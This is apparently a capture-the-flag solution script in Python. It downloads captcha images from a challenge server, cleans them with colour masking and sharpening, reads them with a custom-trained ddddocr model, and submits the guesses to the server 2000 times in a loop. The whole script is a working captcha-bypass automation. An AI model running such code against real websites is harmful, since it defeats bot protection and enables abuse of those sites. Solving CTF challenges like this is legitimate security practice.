1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| import requests import ddddocr import numpy as np from PIL import Image import colorsys from io import BytesIO import os
def process_image(img_content): def rgb_to_hsv(rgb): return colorsys.rgb_to_hsv(rgb[0]/255.0, rgb[1]/255.0, rgb[2]/255.0)
def remove_specific_rgba(img, target_rgba): img = img.convert("RGBA") data = np.array(img) r, g, b, a = data[:,:,0], data[:,:,1], data[:,:,2], data[:,:,3] mask = (r == target_rgba[0]) & (g == target_rgba[1]) & (b == target_rgba[2]) & (a == target_rgba[3]) data[mask] = [0, 0, 0, 0] return Image.fromarray(data)
target_blue = (64, 56, 247) hue_range = (0.58, 0.72) sat_threshold = 0.3 val_threshold = 0.5 remove_color = (254, 224, 222, 255)
img = Image.open(BytesIO(img_content)).convert("RGB") pixels = np.array(img) hsv_pixels = np.array([[[colorsys.rgb_to_hsv(p[0]/255., p[1]/255., p[2]/255.)] for p in row] for row in pixels]).squeeze() combined_mask = (hsv_pixels[:,:,0] >= hue_range[0]) & (hsv_pixels[:,:,0] <= hue_range[1]) & \ (hsv_pixels[:,:,1] >= sat_threshold) & (hsv_pixels[:,:,2] >= val_threshold) pixels[combined_mask] = [255, 255, 255] color_img = remove_specific_rgba(Image.fromarray(pixels), remove_color) gray_img = color_img.convert('L') sharpen_kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]], dtype=np.float32) img_array = np.array(gray_img, dtype=np.float32) filtered = np.zeros_like(img_array) for i in range(1, img_array.shape[0]-1): for j in range(1, img_array.shape[1]-1): filtered[i, j] = np.sum(img_array[i-1:i+2, j-1:j+2] * sharpen_kernel) sharpened = np.clip(filtered, 0, 255).astype(np.uint8) try: print("模型存在:", os.path.exists(r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\test_1.0_21_23000_2025-03-27-11-22-33.onnx")) print("字符集存在:", os.path.exists(r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\charsets.json"))
ocr = ddddocr.DdddOcr( det=False, ocr=False, import_onnx_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\test_1.0_21_23000_2025-03-27-11-22-33.onnx", charsets_path=r"F:\ctf\ocr proj\dddd-train\dddd_trainer\projects\test\models\charsets.json" ) ocr.set_ranges(6)
img_buffer = BytesIO() Image.fromarray(sharpened).save(img_buffer, format='PNG') img_bytes = img_buffer.getvalue() result_text = ocr.classification(img_bytes) return result_text.replace(" ", "").strip()
except Exception as e: print(f"OCR引擎异常: {str(e)}") return "ERROR"
with requests.Session() as s: base_url = "http://c15f4704-4db8-4b6f-8e09-f80cd4c22d1b.ctf.szu.moe/" for i in range(1, 2001): try: captcha_resp = s.get(f"{base_url}/generate_captcha.php") if captcha_resp.status_code != 200: print(f"第{i}次: 获取验证码失败") continue
captcha_text = process_image(captcha_resp.content) print(f"第{i}次识别结果: {captcha_text}") post_resp = s.post( f"{base_url}/verify.php", data={"captcha_input": captcha_text} ) print(f"第{i}次响应: {post_resp.text.strip()}")
except Exception as e: print(f"第{i}次发生异常: {str(e)}") continue
print("所有循环完成")
|